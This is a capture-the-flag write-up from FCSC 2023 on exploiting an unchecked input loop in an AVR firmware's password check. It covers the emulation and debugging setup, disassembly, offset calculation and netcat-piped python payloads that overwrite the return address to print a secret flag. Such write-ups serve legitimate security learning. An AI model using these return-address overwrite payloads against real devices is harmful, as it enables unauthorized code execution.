[FCSC 2023] Pwn - Pwnduino

5 minute read

📖 Challenge Description

In this challenge, we need to exploit an AVR based binary, that has 1 simple feature: a login “page”.

Code Analysis

Before exploiting the program we first need to read the code and find the vulnerability.

 1int main(void) {    
 2    uart_init();
 3    uart_flush();
 4    
 5    uart_puts("=== Welcome!\r\n");
 6    while(1) {
 7		uart_puts("Please enter your passphrase to compute CRC:\r\n");
 8		if(passwd_check() == 0){
 9			unsigned char crc;
10			uart_puts("OK! Computing the secret CRC\r\n");
11			crc = compute_secret_crc();
12			uart_puts("Writing CRC to EEPROM ...\r\n");
13			eeprom_write_byte(0, crc);
14		}
15		else{
16			uart_puts("KO :-( Bad password ...\r\n");
17		}
18    }
19    return 0;
20}

The main function calls passwd_check and then if the function returns 0 it writes the flag to the eeprom. I am not very familiar with this but we will look into it afterwards.

 1int passwd_check(void){
 2    	char buff[sizeof(passwd)];
 3	unsigned int i;
 4	int check;
 5
 6	memset(buff, 0, sizeof(buff));
 7	i = 0;
 8	while(1){
 9		buff[i] = uart_get();
10		if(buff[i] == '\n'){
11			buff[i] = 0;
12			break;
13		}
14		i++;
15	}
16	check = 0;
17	for(i = 0; i < sizeof(passwd); i++){
18		check |= (buff[i] ^ pgm_read_byte(&(passwd[i])));
19	}
20	return check;
21}

The passwd_check function is more interessant because it handles a user input without checking the size. Indeed, the program reads an user input until “\n” is reached. It means that we can input as many characters as we wan’t and they will still be copied in the buf variable even if it is only 16 bytes long.

Another important function is the get_secret_address that returns a char pointer to the flag and that we can maybe use later on.

1const char *get_secret_address(void)
2{
3	return secret;
4}

We now have every element to exploit our program: we need to overwrite the return address to redirect the code execution to print the flag.

🔬 Setup the debug environment

To debug/emulate avr binary we need to install the avr toolkit and install an avr emulator with qemu.

1$ sudo apt-get install avr-gcc avr-libc qemu-system-avr

We can compile the source code like this:

1$ make all
2avr-gcc -Wall -g -mmcu=atmega2560 uart.c main.c -o firmware_debug.elf
3avr-objcopy -O binary -R .eeprom firmware_debug.elf firmware_debug.bin

After this it took me quite long to find a good documentation but I came across this documentation https://qemu-project.gitlab.io/qemu/system/target-avr.html which describes very well what I need.

To emulate the binary we use this command

1qemu-system-avr -M mega2560 -bios firmware_debug.elf -nographic -serial tcp::5678,server=on,wait=off -s -S

The program will hang until it receives a tcp connection on port 5678 and until it is debugged by gdb. It’s really convenient because we can input stuff from netcat and we don’t need to pipe our payload to the parent process each time we wan’t to try something out.

To debug the progam we use avr-gdb (from the avr toolkit) like this:

1$ avr-gdb -q firmware_debug.elf
2Reading symbols from firmware_debug.elf...
3(gdb) target remote :1234

At this stage I came across something annoying… we can’t use gdb wrapper like pwndbg because it’s an odd architecture …

💣 Exploit

note: debugging a binary with the basic version of gdb kinda feels like being naked but it didn’t gave me much troubles.

By inputing AAAAAAAAAAAAAAAABBBBCCCC in the binary we can see that the return address is being overwritten by our input*2: if we input “\x41” it becomes “\x82” in the return address. We now know that the padding to overwrite the Instruction Pointer is 19 bytes long.

So it means that for instance if we wan’t to redirect the execution of the program to 0xdeadbeef we will have to input 0x6f56df77 in the program because 0x6f56df77*2 = 0xdeadbeef.

My first idea was to try redirecting the code execution after the jump. To do so, we need to find the address of the instruction after the check.

The decompilation of the function main in avr instructions looks like this:

 1   (gdb) disass main
 2   0x00000440 <+0>:	push	r28
 3   0x00000442 <+2>:	push	r29
 4   0x00000444 <+4>:	push	r1
 5   0x00000446 <+6>:	in	r28, 0x3d	; 61
 6   0x00000448 <+8>:	in	r29, 0x3e	; 62
 7   0x0000044a <+10>:	call	0x142	;  0x142 <uart_init>
 8   0x0000044e <+14>:	call	0x20c	;  0x20c <uart_flush>
 9   0x00000452 <+18>:	ldi	r24, 0x00	; 0
10   0x00000454 <+20>:	ldi	r25, 0x02	; 2
11   0x00000456 <+22>:	call	0x190	;  0x190 <uart_puts>
12   0x0000045a <+26>:	ldi	r24, 0x0F	; 15
13   0x0000045c <+28>:	ldi	r25, 0x02	; 2
14   0x0000045e <+30>:	call	0x190	;  0x190 <uart_puts>
15   0x00000462 <+34>:	call	0x354	;  0x354 <passwd_check>
16   0x00000466 <+38>:	or	r24, r25
17   0x00000468 <+40>:	brne	.+34     	;  0x48c <main+76>
18   0x0000046a <+42>:	ldi	r24, 0x3E	; 62
19   0x0000046c <+44>:	ldi	r25, 0x02	; 2
20   0x0000046e <+46>:	call	0x190	;  0x190 <uart_puts>
21   0x00000472 <+50>:	call	0x2e4	;  0x2e4 <compute_secret_crc>
22   0x00000476 <+54>:	std	Y+1, r24	; 0x01
23   0x00000478 <+56>:	ldi	r24, 0x5D	; 93
24   0x0000047a <+58>:	ldi	r25, 0x02	; 2
25   0x0000047c <+60>:	call	0x190	;  0x190 <uart_puts>
26   0x00000480 <+64>:	ldd	r22, Y+1	; 0x01
27   0x00000482 <+66>:	ldi	r24, 0x00	; 0
28   0x00000484 <+68>:	ldi	r25, 0x00	; 0
29   0x00000486 <+70>:	call	0x4a4	;  0x4a4 <eeprom_write_byte>
30   0x0000048a <+74>:	rjmp	.-50     	;  0x45a <main+26>
31   0x0000048c <+76>:	ldi	r24, 0x79	; 121
32   0x0000048e <+78>:	ldi	r25, 0x02	; 2
33   0x00000490 <+80>:	call	0x190	;  0x190 <uart_puts>
34   0x00000494 <+84>:	rjmp	.-60     	;  0x45a <main+26>

Note: there are no such thing as PIE on this binary so no need to have leaks.

The conditional jump happens a the offset +40 of the function main so if we overwrite the return address with the address of main+42 it should be good.

The offset 42 of the function main coresponds to the address 0x0000046a so to redirect the execution to this adress we need to input "A"*19+"\x00"+"\x02"+"\x35" (because the addresses on the AVR arch are in big endian)

It gives us:

1└─$ python2 -c 'print "A"*19+"\x00\x02\x35"' | nc localhost 5678 
2OK! Computing the secret CRC
3Writing CRC to EEPROM ...
4Please enter your passphrase to compute CRC:
5

Soooo we do pass the check but no flag ?? Wtf ? In fact it’s because despite the fact that we successfully redirected the execution, the flag was never meant tu be printed to us by just passing the login…. We need to find a new solution.

Remember, we have a function that returns a char pointer to the flag, so can’t we just call get_secret_addressand then call uart_puts_p that is specifically made to print out pointer ?

That is what we are going to do.

First we need the address of get_secret_address which is 0x0002d2 and the address of uart_puts_p which is 0x00026a.

It gives us the payload python2 -c 'print "A"*19+"\x00\x01\x69"+"\x00\x01\x35"'

Moment of truth

1└─$ python2 -c 'print "A"*19+"\x00\x01\x69"+"\x00\x01\x35"' | nc challenges.france-cybersecurity-challenge.fr 2104
2FCSC{a420bsdtAc120djf}

Thanks for reading and thanks to the creator for this challenge, it was my first time doing pwn on the AVR architecture and it was quite fun!

If you have any question you can send me a pm on discord: @numb3rss or on twitter: https://twitter.com/numbrs